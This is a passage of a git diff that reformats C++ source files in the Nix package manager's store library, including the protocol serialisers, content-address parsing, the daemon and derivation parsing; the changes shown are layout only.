f6be21e35..ed097ba00 100644 --- a/src/libstore/builtins/unpack-channel.cc +++ b/src/libstore/builtins/unpack-channel.cc @@ -3,15 +3,16 @@ namespace nix { -namespace fs { using namespace std::filesystem; } +namespace fs { +using namespace std::filesystem; +} -void builtinUnpackChannel( - const BasicDerivation & drv, - const std::map & outputs) +void builtinUnpackChannel(const BasicDerivation & drv, const std::map & outputs) { auto getAttr = [&](const std::string & name) -> const std::string & { auto i = drv.env.find(name); - if (i == drv.env.end()) throw Error("attribute '%s' missing", name); + if (i == drv.env.end()) + throw Error("attribute '%s' missing", name); return i->second; }; diff --git a/src/libstore/common-protocol.cc b/src/libstore/common-protocol.cc index 311f4888c..b75c3018c 100644 --- a/src/libstore/common-protocol.cc +++ b/src/libstore/common-protocol.cc @@ -18,78 +18,78 @@ std::string CommonProto::Serialise::read(const StoreDirConfig & sto return readString(conn.from); } -void CommonProto::Serialise::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const std::string & str) +void CommonProto::Serialise::write( + const StoreDirConfig & store, CommonProto::WriteConn conn, const std::string & str) { conn.to << str; } - StorePath CommonProto::Serialise::read(const StoreDirConfig & store, CommonProto::ReadConn conn) { return store.parseStorePath(readString(conn.from)); } -void CommonProto::Serialise::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const StorePath & storePath) +void CommonProto::Serialise::write( + const StoreDirConfig & store, CommonProto::WriteConn conn, const StorePath & storePath) { conn.to << store.printStorePath(storePath); } - ContentAddress CommonProto::Serialise::read(const StoreDirConfig & store, CommonProto::ReadConn conn) { return ContentAddress::parse(readString(conn.from)); } -void CommonProto::Serialise::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const ContentAddress & ca) +void CommonProto::Serialise::write( + const StoreDirConfig & store, CommonProto::WriteConn conn, const ContentAddress & ca) { conn.to << renderContentAddress(ca); } - Realisation CommonProto::Serialise::read(const StoreDirConfig & store, CommonProto::ReadConn conn) { std::string rawInput = readString(conn.from); - return Realisation::fromJSON( - nlohmann::json::parse(rawInput), - "remote-protocol" - ); + return Realisation::fromJSON(nlohmann::json::parse(rawInput), "remote-protocol"); } -void CommonProto::Serialise::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const Realisation & realisation) +void CommonProto::Serialise::write( + const StoreDirConfig & store, CommonProto::WriteConn conn, const Realisation & realisation) { conn.to << realisation.toJSON().dump(); } - DrvOutput CommonProto::Serialise::read(const StoreDirConfig & store, CommonProto::ReadConn conn) { return DrvOutput::parse(readString(conn.from)); } -void CommonProto::Serialise::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const DrvOutput & drvOutput) +void CommonProto::Serialise::write( + const StoreDirConfig & store, CommonProto::WriteConn conn, const DrvOutput & drvOutput) { conn.to << drvOutput.to_string(); } - -std::optional CommonProto::Serialise>::read(const StoreDirConfig & store, CommonProto::ReadConn conn) +std::optional +CommonProto::Serialise>::read(const StoreDirConfig & store, CommonProto::ReadConn conn) { auto s = readString(conn.from); - return s == "" ? std::optional {} : store.parseStorePath(s); + return s == "" ? std::optional{} : store.parseStorePath(s); } -void CommonProto::Serialise>::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const std::optional & storePathOpt) +void CommonProto::Serialise>::write( + const StoreDirConfig & store, CommonProto::WriteConn conn, const std::optional & storePathOpt) { conn.to << (storePathOpt ? store.printStorePath(*storePathOpt) : ""); } - -std::optional CommonProto::Serialise>::read(const StoreDirConfig & store, CommonProto::ReadConn conn) +std::optional +CommonProto::Serialise>::read(const StoreDirConfig & store, CommonProto::ReadConn conn) { return ContentAddress::parseOpt(readString(conn.from)); } -void CommonProto::Serialise>::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const std::optional & caOpt) +void CommonProto::Serialise>::write( + const StoreDirConfig & store, CommonProto::WriteConn conn, const std::optional & caOpt) { conn.to << (caOpt ? renderContentAddress(*caOpt) : ""); } diff --git a/src/libstore/content-address.cc b/src/libstore/content-address.cc index 5d27c4136..7a159e8a0 100644 --- a/src/libstore/content-address.cc +++ b/src/libstore/content-address.cc @@ -62,8 +62,7 @@ ContentAddressMethod ContentAddressMethod::parse(std::string_view m) if (m == "text") return ContentAddressMethod::Raw::Text; else - return fileIngestionMethodToContentAddressMethod( - parseFileIngestionMethod(m)); + return fileIngestionMethodToContentAddressMethod(parseFileIngestionMethod(m)); } std::string_view ContentAddressMethod::renderPrefix() const @@ -84,12 +83,10 @@ ContentAddressMethod ContentAddressMethod::parsePrefix(std::string_view & m) { if (splitPrefix(m, "r:")) { return ContentAddressMethod::Raw::NixArchive; - } - else if (splitPrefix(m, "git:")) { + } else if (splitPrefix(m, "git:")) { experimentalFeatureSettings.require(Xp::GitHashing); return ContentAddressMethod::Raw::Git; - } - else if (splitPrefix(m, "text:")) { + } else if (splitPrefix(m, "text:")) { return ContentAddressMethod::Raw::Text; } return ContentAddressMethod::Raw::Flat; @@ -145,7 +142,7 @@ std::string ContentAddress::render() const */ static std::pair parseContentAddressMethodPrefix(std::string_view & rest) { - std::string_view wholeInput { rest }; + std::string_view wholeInput{rest}; std::string_view prefix; { @@ -155,7 +152,7 @@ static std::pair parseContentAddressMethodP prefix = *optPrefix; } - auto parseHashAlgorithm_ = [&](){ + auto parseHashAlgorithm_ = [&]() { auto hashAlgoRaw = splitPrefixTo(rest, ':'); if (!hashAlgoRaw) throw UsageError("content address hash must be in form ':', but found: %s", wholeInput); @@ -186,7 +183,8 @@ static std::pair parseContentAddressMethodP std::move(hashAlgo), }; } else - throw UsageError("content address prefix '%s' is unrecognized. Recogonized prefixes are 'text' or 'fixed'", prefix); + throw UsageError( + "content address prefix '%s' is unrecognized. Recogonized prefixes are 'text' or 'fixed'", prefix); } ContentAddress ContentAddress::parse(std::string_view rawCa) @@ -195,7 +193,7 @@ ContentAddress ContentAddress::parse(std::string_view rawCa) auto [caMethod, hashAlgo] = parseContentAddressMethodPrefix(rest); - return ContentAddress { + return ContentAddress{ .method = std::move(caMethod), .hash = Hash::parseNonSRIUnprefixed(rest, hashAlgo), }; @@ -211,9 +209,7 @@ std::pair ContentAddressMethod::parseWithAl std::optional ContentAddress::parseOpt(std::string_view rawCaOpt) { - return rawCaOpt == "" - ? std::nullopt - : std::optional { ContentAddress::parse(rawCaOpt) }; + return rawCaOpt == "" ? std::nullopt : std::optional{ContentAddress::parse(rawCaOpt)}; }; std::string renderContentAddress(std::optional ca) @@ -223,8 +219,7 @@ std::string renderContentAddress(std::optional ca) std::string ContentAddress::printMethodAlgo() const { - return std::string { method.renderPrefix() } - + printHashAlgo(hash.algo); + return std::string{method.renderPrefix()} + printHashAlgo(hash.algo); } bool StoreReferences::empty() const @@ -241,14 +236,14 @@ ContentAddressWithReferences ContentAddressWithReferences::withoutRefs(const Con { switch (ca.method.raw) { case ContentAddressMethod::Raw::Text: - return TextInfo { + return TextInfo{ .hash = ca.hash, .references = {}, }; case ContentAddressMethod::Raw::Flat: case ContentAddressMethod::Raw::NixArchive: case ContentAddressMethod::Raw::Git: - return FixedOutputInfo { + return FixedOutputInfo{ .method = ca.method.getFileIngestionMethod(), .hash = ca.hash, .references = {}, @@ -258,21 +253,21 @@ ContentAddressWithReferences ContentAddressWithReferences::withoutRefs(const Con } } -ContentAddressWithReferences ContentAddressWithReferences::fromParts( - ContentAddressMethod method, Hash hash, StoreReferences refs) +ContentAddressWithReferences +ContentAddressWithReferences::fromParts(ContentAddressMethod method, Hash hash, StoreReferences refs) { switch (method.raw) { case ContentAddressMethod::Raw::Text: if (refs.self) throw Error("self-reference not allowed with text hashing"); - return TextInfo { + return TextInfo{ .hash = std::move(hash), .references = std::move(refs.others), }; case ContentAddressMethod::Raw::Flat: case ContentAddressMethod::Raw::NixArchive: case ContentAddressMethod::Raw::Git: - return FixedOutputInfo { + return FixedOutputInfo{ .method = method.getFileIngestionMethod(), .hash = std::move(hash), .references = std::move(refs), @@ -284,27 +279,24 @@ ContentAddressWithReferences ContentAddressWithReferences::fromParts( ContentAddressMethod ContentAddressWithReferences::getMethod() const { - return std::visit(overloaded { - [](const TextInfo & th) -> ContentAddressMethod { - return ContentAddressMethod::Raw::Text; + return std::visit( + overloaded{ + [](const TextInfo & th) -> ContentAddressMethod { return ContentAddressMethod::Raw::Text; }, + [](const FixedOutputInfo & fsh) -> ContentAddressMethod { + return fileIngestionMethodToContentAddressMethod(fsh.method); + }, }, - [](const FixedOutputInfo & fsh) -> ContentAddressMethod { - return fileIngestionMethodToContentAddressMethod( - fsh.method); - }, - }, raw); + raw); } Hash ContentAddressWithReferences::getHash() const { - return std::visit(overloaded { - [](const TextInfo & th) { - return th.hash; + return std::visit( + overloaded{ + [](const TextInfo & th) { return th.hash; }, + [](const FixedOutputInfo & fsh) { return fsh.hash; }, }, - [](const FixedOutputInfo & fsh) { - return fsh.hash; - }, - }, raw); + raw); } } diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 8f7514273..703bafb7b 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -17,14 +17,14 @@ #include "nix/util/git.hh" #ifndef _WIN32 // TODO need graceful async exit support on Windows? -# include "nix/util/monitor-fd.hh" +# include "nix/util/monitor-fd.hh" #endif #include namespace nix::daemon { -Sink & operator << (Sink & sink, const Logger::Fields & fields) +Sink & operator<<(Sink & sink, const Logger::Fields & fields) { sink << fields.size(); for (auto & f : fields) { @@ -33,7 +33,8 @@ Sink & operator << (Sink & sink, const Logger::Fields & fields) sink << f.i; else if (f.type == Logger::Field::tString) sink << f.s; - else unreachable(); + else + unreachable(); } return sink; } @@ -56,7 +57,10 @@ struct TunnelLogger : public Logger WorkerProto::Version clientVersion; TunnelLogger(FdSink & to, WorkerProto::Version clientVersion) - : to(to), clientVersion(clientVersion) { } + : to(to) + , clientVersion(clientVersion) + { + } void enqueueMsg(const std::string & s) { @@ -79,7 +83,8 @@ struct TunnelLogger : public Logger void log(Verbosity lvl, std::string_view s) override { - if (lvl > verbosity) return; + if (lvl > verbosity) + return; StringSink buf; buf << STDERR_NEXT << (s + "\n"); @@ -88,7 +93,8 @@ struct TunnelLogger : public Logger void logEI(const ErrorInfo & ei) override { - if (ei.level > verbosity) return; + if (ei.level > verbosity) + return; std::ostringstream oss; showErrorInfo(oss, ei, false); @@ -132,8 +138,13 @@ struct TunnelLogger : public Logger } } - void startActivity(ActivityId act, Verbosity lvl, ActivityType type, - const std::string & s, const Fields & fields, ActivityId parent) override + void startActivity( + ActivityId act, + Verbosity lvl, + ActivityType type, + const std::string & s, + const Fields & fields, + ActivityId parent) override { if (GET_PROTOCOL_MINOR(clientVersion) < 20) { if (!s.empty()) @@ -148,7 +159,8 @@ struct TunnelLogger : public Logger void stopActivity(ActivityId act) override { - if (GET_PROTOCOL_MINOR(clientVersion) < 20) return; + if (GET_PROTOCOL_MINOR(clientVersion) < 20) + return; StringSink buf; buf << STDERR_STOP_ACTIVITY << act; enqueueMsg(buf.s); @@ -156,7 +168,8 @@ struct TunnelLogger : public Logger void result(ActivityId act, ResultType type, const Fields & fields) override { - if (GET_PROTOCOL_MINOR(clientVersion) < 20) return; + if (GET_PROTOCOL_MINOR(clientVersion) < 20) + return; StringSink buf; buf << STDERR_RESULT << act << type << fields; enqueueMsg(buf.s); @@ -166,8 +179,11 @@ struct TunnelLogger : public Logger struct TunnelSink : Sink { Sink & to; - TunnelSink(Sink & to) : to(to) { } - void operator () (std::string_view data) override + TunnelSink(Sink & to) + : to(to) + { + } + void operator()(std::string_view data) override { to << STDERR_WRITE; writeString(data, to); @@ -178,13 +194,18 @@ struct TunnelSource : BufferedSource { Source & from; BufferedSink & to; - TunnelSource(Source & from, BufferedSink & to) : from(from), to(to) { } + TunnelSource(Source & from, BufferedSink & to) + : from(from) + , to(to) + { + } size_t readUnbuffered(char * data, size_t len) override { to << STDERR_READ << len; to.flush(); size_t n = readString(data, len, from); - if (n == 0) throw EndOfFile("unexpected end-of-file"); + if (n == 0) + throw EndOfFile("unexpected end-of-file"); return n; } }; @@ -232,8 +253,10 @@ struct ClientSettings else if (!hasSuffix(s, "/") && trusted.count(s + "/")) subs.push_back(s + "/"); else - warn("ignoring untrusted substituter '%s', you are not a trusted user.\n" - "Run `man nix.conf` for more information on the `substituters` configuration option.", s); + warn( + "ignoring untrusted substituter '%s', you are not a trusted user.\n" + "Run `man nix.conf` for more information on the `substituters` configuration option.", + s); res = subs; return true; }; @@ -244,23 +267,24 @@ struct ClientSettings else if (name == experimentalFeatureSettings.experimentalFeatures.name) { // We don’t want to forward the experimental features to // the daemon, as that could cause some pretty weird stuff - if (parseFeatures(tokenizeString(value)) != experimentalFeatureSettings.experimentalFeatures.get()) + if (parseFeatures(tokenizeString(value)) + != experimentalFeatureSettings.experimentalFeatures.get()) debug("Ignoring the client-specified experimental features"); } else if (name == "plugin-files") { - warn("Ignoring the client-specified plugin-files.\n" - "The client specifying plugins to the daemon never made sense, and was removed in Nix >=2.14."); - } - else if (trusted - || name == settings.buildTimeout.name - || name == settings.maxSilentTime.name - || name == settings.pollInterval.name - || name == "connect-timeout" + warn( + "Ignoring the client-specified plugin-files.\n" + "The client specifying plugins to the daemon never made sense, and was removed in Nix >=2.14."); + } else if ( + trusted || name == settings.buildTimeout.name || name == settings.maxSilentTime.name + || name == settings.pollInterval.name || name == "connect-timeout" || (name == "builders" && value == "")) settings.set(name, value); else if (setSubstituters(settings.substituters)) ; else - warn("ignoring the client-specified setting '%s', because it is a restricted setting and you are not a trusted user", name); + warn( + "ignoring the client-specified setting '%s', because it is a restricted setting and you are not a trusted user", + name); } catch (UsageError & e) { warn(e.what()); } @@ -268,8 +292,11 @@ struct ClientSettings } }; -static void performOp(TunnelLogger * logger, ref store, - TrustedFlag trusted, RecursiveFlag recursive, +static void performOp( + TunnelLogger * logger, + ref store, + TrustedFlag trusted, + RecursiveFlag recursive, WorkerProto::BasicServerConnection & conn, WorkerProto::Op op) { @@ -348,7 +375,8 @@ static void performOp(TunnelLogger * logger, ref store, store->queryReferrers(path, paths); else if (op == WorkerProto::Op::QueryValidDerivers) paths = store->queryValidDerivers(path); - else paths = store->queryDerivationOutputs(path); + else + paths = store->queryDerivationOutputs(path); logger->stopWork(); WorkerProto::write(*store, wconn, paths); break; @@ -423,7 +451,8 @@ static void performOp(TunnelLogger * logger, ref store, assert(false); } // TODO these two steps are essentially RemoteStore::addCAToStore. Move it up to Store. - auto path = store->addToStoreFromDump(source, name, dumpMethod, contentAddressMethod, hashAlgo, refs, repair); + auto path = + store->addToStoreFromDump(source, name, dumpMethod, contentAddressMethod, hashAlgo, refs, repair); return store->queryPathInfo(path); }(); logger->stopWork(); @@ -439,10 +468,10 @@ static void performOp(TunnelLogger * logger, ref store, std::string hashAlgoRaw; conn.from >> baseName >> fixed /* obsolete */ >> recursive >> hashAlgoRaw; if (recursive > true) - throw Error("unsupported FileIngestionMethod with value of %i; you may need to upgrade nix-daemon", recursive); - method = recursive - ? ContentAddressMethod::Raw::NixArchive - : ContentAddressMethod::Raw::Flat; + throw Error( + "unsupported FileIngestionMethod with value of %i; you may need to upgrade nix-daemon", + recursive); + method = recursive ? ContentAddressMethod::Raw::NixArchive : ContentAddressMethod::Raw::Flat; /* Compatibility hack. */ if (!fixed) { hashAlgoRaw = "sha256"; @@ -466,8 +495,8 @@ static void performOp(TunnelLogger * logger, ref store, parseDump(sink, savedNARSource); }); logger->startWork(); - auto path = store->addToStoreFromDump( - *dumpSource, baseName, FileSerialisationMethod::NixArchive, method, hashAlgo); + auto path = + store->addToStoreFromDump(*dumpSource, baseName, FileSerialisationMethod::NixArchive, method, hashAlgo); logger->stopWork(); conn.to << store->printStorePath(path); @@ -484,9 +513,7 @@ static void performOp(TunnelLogger * logger, ref store, logger->startWork(); { FramedSource source(conn.from); - store->addMultipleToStore(source, - RepairFlag{repair}, - dontCheckSigs ? NoCheckSigs : CheckSigs); + store->addMultipleToStore(source, RepairFlag{repair}, dontCheckSigs ? NoCheckSigs : CheckSigs); } logger->stopWork(); break; @@ -498,8 +525,15 @@ static void performOp(TunnelLogger * logger, ref store, auto refs = WorkerProto::Serialise::read(*store, rconn); logger->startWork(); auto path = ({ - StringSource source { s }; - store->addToStoreFromDump(source, suffix, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, refs, NoRepair); + StringSource source{s}; + store->addToStoreFromDump( + source, + suffix, + FileSerialisationMethod::Flat, + ContentAddressMethod::Raw::Text, + HashAlgorithm::SHA256, + refs, + NoRepair); }); logger->stopWork(); conn.to << store->printStorePath(path); @@ -520,11 +554,11 @@ static void performOp(TunnelLogger * logger, ref store, case WorkerProto::Op::ImportPaths: { logger->startWork(); TunnelSource source(conn.from, conn.to); - auto paths = store->importPaths(source, - trusted ? NoCheckSigs : CheckSigs); + auto paths = store->importPaths(source, trusted ? NoCheckSigs : CheckSigs); logger->stopWork(); Strings paths2; - for (auto & i : paths) paths2.push_back(store->printStorePath(i)); + for (auto & i : paths) + paths2.push_back(store->printStorePath(i)); conn.to << paths2; break; } @@ -643,7 +677,7 @@ static void performOp(TunnelLogger * logger, ref store, Derivation drv2; static_cast(drv2) = drv; - drvPath = writeDerivation(*store, Derivation { drv2 }); + drvPath = writeDerivation(*store, Derivation{drv2}); } auto res = store->buildDerivation(drvPath, drv, buildMode); @@ -795,11 +829,9 @@ static void performOp(TunnelLogger * logger, ref store, if (i == infos.end()) conn.to << 0; else { - conn.to << 1 - << (i->second.deriver ? store->printStorePath(*i->second.deriver) : ""); + conn.to << 1 << (i->second.deriver ? store->printStorePath(*i->second.deriver) : ""); WorkerProto::write(*store, wconn, i->second.references); - conn.to << i->second.downloadSize - << i->second.narSize; + conn.to << i->second.downloadSize << i->second.narSize; } break; } @@ -841,7 +873,8 @@ static void performOp(TunnelLogger * logger, ref store, try { info = store->queryPathInfo(path); } catch (InvalidPath &) { - if (GET_PROTOCOL_MINOR(conn.protoVersion) < 17) throw; + if (GET_PROTOCOL_MINOR(conn.protoVersion) < 17) + throw; } logger->stopWork(); if (info) { @@ -897,7 +930,7 @@ static void performOp(TunnelLogger * logger, ref store, auto path = store->parseStorePath(readString(conn.from)); auto deriver = readString(conn.from); auto narHash = Hash::parseAny(readString(conn.from), HashAlgorithm::SHA256); - ValidPathInfo info { path, narHash }; + ValidPathInfo info{path, narHash}; if (deriver != "") info.deriver = store->parseStorePath(deriver); info.references = WorkerProto::Serialise::read(*store, rconn); @@ -914,8 +947,7 @@ static void performOp(TunnelLogger * logger, ref store, logger->startWork(); { FramedSource source(conn.from); - store->addToStore(info, source, (RepairFlag) repair, - dontCheckSigs ? NoCheckSigs : CheckSigs); + store->addToStore(info, source, (RepairFlag) repair, dontCheckSigs ? NoCheckSigs : CheckSigs); } logger->stopWork(); } @@ -926,7 +958,7 @@ static void performOp(TunnelLogger * logger, ref store, if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 21) source = std::make_unique(conn.from, conn.to); else { - TeeSource tee { conn.from, saved }; + TeeSource tee{conn.from, saved}; NullFileSystemObjectSink ether; parseDump(ether, tee); source = std::make_unique(saved.s); @@ -935,8 +967,7 @@ static void performOp(TunnelLogger * logger, ref store, logger->startWork(); // FIXME: race if addToStore doesn't read source? - store->addToStore(info, *source, (RepairFlag) repair, - dontCheckSigs ? NoCheckSigs : CheckSigs); + store->addToStore(info, *source, (RepairFlag) repair, dontCheckSigs ? NoCheckSigs : CheckSigs); logger->stopWork(); } @@ -963,8 +994,7 @@ static void performOp(TunnelLogger * logger, ref store, if (GET_PROTOCOL_MINOR(conn.protoVersion) < 31) { auto outputId = DrvOutput::parse(readString(conn.from)); auto outputPath = StorePath(readString(conn.from)); - store->registerDrvOutput(Realisation{ - .id = outputId, .outPath = outputPath}); + store->registerDrvOutput(Realisation{.id = outputId, .outPath = outputPath}); } else { auto realisation = WorkerProto::Serialise::read(*store, rconn); store->registerDrvOutput(realisation); @@ -980,11 +1010,13 @@ static void performOp(TunnelLogger * logger, ref store, logger->stopWork(); if (GET_PROTOCOL_MINOR(conn.protoVersion) < 31) { std::set outPaths; - if (info) outPaths.insert(info->outPath); + if (info) + outPaths.insert(info->outPath); WorkerProto::write(*store, wconn, outPaths); } else { std::set realisations; - if (info) realisations.insert(*info); + if (info) + realisations.insert(*info); WorkerProto::write(*store, wconn, realisations); } break; @@ -1016,12 +1048,7 @@ static void performOp(TunnelLogger * logger, ref store, } } -void processConnection( - ref store, - FdSource && from, - FdSink && to, - TrustedFlag trusted, - RecursiveFlag recursive) +void processConnection(ref store, FdSource && from, FdSink && to, TrustedFlag trusted, RecursiveFlag recursive) { #ifndef _WIN32 // TODO need graceful async exit support on Windows? auto monitor = !recursive ? std::make_unique(from.fd) : nullptr; @@ -1030,8 +1057,7 @@ void processConnection( /* Exchange the greeting. */ auto [protoVersion, features] = - WorkerProto::BasicServerConnection::handshake( - to, from, PROTOCOL_VERSION, WorkerProto::allFeatures); + WorkerProto::BasicServerConnection::handshake(to, from, PROTOCOL_VERSION, WorkerProto::allFeatures); if (protoVersion < 0x10a) throw Error("the Nix client version is too old"); @@ -1059,14 +1085,14 @@ void processConnection( printMsgUsing(prevLogger, lvlDebug, "%d operations", opCount); }); - conn.postHandshake(*store, { - .daemonNixVersion = nixVersion, - // We and the underlying store both need to trust the client for - // it to be trusted. - .remoteTrustsUs = trusted - ? store->isTrustedClient() - : std::optional { NotTrusted }, - }); + conn.postHandshake( + *store, + { + .daemonNixVersion = nixVersion, + // We and the underlying store both need to trust the client for + // it to be trusted. + .remoteTrustsUs = trusted ? store->isTrustedClient() : std::optional{NotTrusted}, + }); /* Send startup error messages to the client. */ tunnelLogger->startWork(); @@ -1103,7 +1129,8 @@ void processConnection( happens, just send the error message and exit. */ bool errorAllowed = tunnelLogger->state_.lock()->canSendStderr; tunnelLogger->stopWork(&e); - if (!errorAllowed) throw; + if (!errorAllowed) + throw; } catch (std::bad_alloc & e) { auto ex = Error("Nix daemon out of memory"); tunnelLogger->stopWork(&ex); diff --git a/src/libstore/derivations.cc b/src/libstore/derivations.cc index a4e04e78a..210656483 100644 --- a/src/libstore/derivations.cc +++ b/src/libstore/derivations.cc @@ -15,128 +15,94 @@ namespace nix { -std::optional DerivationOutput::path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const +std::optional +DerivationOutput::path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const { - return std::visit(overloaded { - [](const DerivationOutput::InputAddressed & doi) -> std::optional { - return { doi.path }; + return std::visit( + overloaded{ + [](const DerivationOutput::InputAddressed & doi) -> std::optional { return {doi.path}; }, + [&](const DerivationOutput::CAFixed & dof) -> std::optional { + return {dof.path(store, drvName, outputName)}; + }, + [](const DerivationOutput::CAFloating & dof) -> std::optional { return std::nullopt; }, + [](const DerivationOutput::Deferred &) -> std::optional { return std::nullopt; }, + [](const DerivationOutput::Impure &) -> std::optional { return std::nullopt; }, }, - [&](const DerivationOutput::CAFixed & dof) -> std::optional { - return { - dof.path(store, drvName, outputName) - }; - }, - [](const DerivationOutput::CAFloating & dof) -> std::optional { - return std::nullopt; - }, - [](const DerivationOutput::Deferred &) -> std::optional { - return std::nullopt; - }, - [](const DerivationOutput::Impure &) -> std::optional { - return std::nullopt; - }, - }, raw); + raw); } - -StorePath DerivationOutput::CAFixed::path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const +StorePath +DerivationOutput::CAFixed::path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const { return store.makeFixedOutputPathFromCA( - outputPathName(drvName, outputName), - ContentAddressWithReferences::withoutRefs(ca)); + outputPathName(drvName, outputName), ContentAddressWithReferences::withoutRefs(ca)); } - bool DerivationType::isCA() const { /* Normally we do the full `std::visit` to make sure we have exhaustively handled all variants, but so long as there is a variant called `ContentAddressed`, it must be the only one for which `isCA` is true for this to make sense!. */ - return std::visit(overloaded { - [](const InputAddressed & ia) { - return false; + return std::visit( + overloaded{ + [](const InputAddressed & ia) { return false; }, + [](const ContentAddressed & ca) { return true; }, + [](const Impure &) { return true; }, }, - [](const ContentAddressed & ca) { - return true; - }, - [](const Impure &) { - return true; - }, - }, raw); + raw); } bool DerivationType::isFixed() const { - return std::visit(overloaded { - [](const InputAddressed & ia) { - return false; + return std::visit( + overloaded{ + [](const InputAddressed & ia) { return false; }, + [](const ContentAddressed & ca) { return ca.fixed; }, + [](const Impure &) { return false; }, }, - [](const ContentAddressed & ca) { - return ca.fixed; - }, - [](const Impure &) { - return false; - }, - }, raw); + raw); } bool DerivationType::hasKnownOutputPaths() const { - return std::visit(overloaded { - [](const InputAddressed & ia) { - return !ia.deferred; + return std::visit( + overloaded{ + [](const InputAddressed & ia) { return !ia.deferred; }, + [](const ContentAddressed & ca) { return ca.fixed; }, + [](const Impure &) { return false; }, }, - [](const ContentAddressed & ca) { - return ca.fixed; - }, - [](const Impure &) { - return false; - }, - }, raw); + raw); } - bool DerivationType::isSandboxed() const { - return std::visit(overloaded { - [](const InputAddressed & ia) { - return true; + return std::visit( + overloaded{ + [](const InputAddressed & ia) { return true; }, + [](const ContentAddressed & ca) { return ca.sandboxed; }, + [](const Impure &) { return false; }, }, - [](const ContentAddressed & ca) { - return ca.sandboxed; - }, - [](const Impure &) { - return false; - }, - }, raw); + raw); } - bool DerivationType::isImpure() const { - return std::visit(overloaded { - [](const InputAddressed & ia) { - return false; + return std::visit( + overloaded{ + [](const InputAddressed & ia) { return false; }, + [](const ContentAddressed & ca) { return false; }, + [](const Impure &) { return true; }, }, - [](const ContentAddressed & ca) { - return false; - }, - [](const Impure &) { - return true; - }, - }, raw); + raw); } - bool BasicDerivation::isBuiltin() const { return builder.substr(0, 8) == "builtin:"; } - -StorePath writeDerivation(Store & store, - const Derivation & drv, RepairFlag repair, bool readOnly) +StorePath writeDerivation(Store & store, const Derivation & drv, RepairFlag repair, bool readOnly) { auto references = drv.inputSrcs; for (auto & i : drv.inputDrvs.map) @@ -146,51 +112,67 @@ StorePath writeDerivation(Store & store, held during a garbage collection). */ auto suffix = std::string(drv.name) + drvExtension; auto contents = drv.unparse(store, false); - return readOnly || settings.readOnlyMode - ? store.makeFixedOutputPathFromCA(suffix, TextInfo { - .hash = hashString(HashAlgorithm::SHA256, contents), - .references = std::move(references), - }) - : ({ - StringSource s { contents }; - store.addToStoreFromDump(s, suffix, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, references, repair); - }); + return readOnly || settings.readOnlyMode ? store.makeFixedOutputPathFromCA( + suffix, + TextInfo{ + .hash = hashString(HashAlgorithm::SHA256, contents), + .references = std::move(references), + }) + : ({ + StringSource s{contents}; + store.addToStoreFromDump( + s, + suffix, + FileSerialisationMethod::Flat, + ContentAddressMethod::Raw::Text, + HashAlgorithm::SHA256, + references, + repair); + }); } - namespace { /** * This mimics std::istream to some extent. We use this much smaller implementation * instead of plain istreams because the sentry object overhead is too high. */ -struct StringViewStream { +struct StringViewStream +{ std::string_view remaining; - int peek() const { + int peek() const + { return remaining.empty() ? EOF : remaining[0]; } - int get() { - if (remaining.empty()) return EOF; + int get() + { + if (remaining.empty()) + return EOF; char c = remaining[0]; remaining.remove_prefix(1); return c; } }; -constexpr struct Escapes { +constexpr struct Escapes +{ char map[256]; - constexpr Escapes() { - for (int i = 0; i < 256; i++) map[i] = (char) (unsigned char) i; + constexpr Escapes() + { + for (int i = 0; i < 256; i++) + map[i] = (char) (unsigned char) i; map[(int) (unsigned char) 'n'] = '\n'; map[(int) (unsigned char) 'r'] = '\r'; map[(int) (unsigned char) 't'] = '\t'; } - char operator[](char c) const { return map[(unsigned char) c]; } + char operator[](char c) const + { + return map[(unsigned char) c]; + } } escapes; } - /* Read string `s' from stream `str'. */ static void expect(StringViewStream & str, std::string_view s) { @@ -199,7 +181,6 @@ static void expect(StringViewStream & str, std::string_view s) str.remaining.remove_prefix(s.size()); } - /* Read a C-style string from stream `str'. */ static BackedStringView parseString(StringViewStream & str) { @@ -228,12 +209,13 @@ static BackedStringView parseString(StringViewStream & str) if (*c == '\\') { c++; res += escapes[*c]; - } - else res += *c; + } else + res += *c; return res; } -static void validatePath(std::string_view s) { +static void validatePath(std::string_view s) +{ if (s.size() == 0 || s[0] != '/') throw FormatError("bad path '%1%' in derivation", s); } @@ -245,7 +227,6 @@ static BackedStringView parsePath(StringViewStream & str) return s; } - static bool endOfList(StringViewStream & str) { if (str.peek() == ',') { @@ -259,7 +240,6 @@ static bool endOfList(StringViewStream & str) return false; } - static StringSet parseStrings(StringViewStream & str, bool arePaths) { StringSet res; @@ -269,10 +249,11 @@ static StringSet parseStrings(StringViewStream & str, bool arePaths) return res; } - static DerivationOutput parseDerivationOutput( const StoreDirConfig & store, - std::string_view pathS, std::string_view hashAlgoStr, std::string_view hashS, + std::string_view pathS, + std::string_view hashAlgoStr, + std::string_view hashS, const ExperimentalFeatureSettings & xpSettings) { if (hashAlgoStr != "") { @@ -284,46 +265,51 @@ static DerivationOutput parseDerivationOutput( xpSettings.require(Xp::ImpureDerivations); if (pathS != "") throw FormatError("impure derivation output should not specify output path"); - return DerivationOutput::Impure { + return DerivationOutput::Impure{ .method = std::move(method), .hashAlgo = std::move(hashAlgo), }; } else if (hashS != "") { validatePath(pathS); auto hash = Hash::parseNonSRIUnprefixed(hashS, hashAlgo); - return DerivationOutput::CAFixed { - .ca = ContentAddress { - .method = std::move(method), - .hash = std::move(hash), - }, + return DerivationOutput::CAFixed{ + .ca = + ContentAddress{ + .method = std::move(method), + .hash = std::move(hash), + }, }; } else { xpSettings.require(Xp::CaDerivations); if (pathS != "") throw FormatError("content-addressing derivation output should not specify output path"); - return DerivationOutput::CAFloating { + return DerivationOutput::CAFloating{ .method = std::move(method), .hashAlgo = std::move(hashAlgo), }; } } else { if 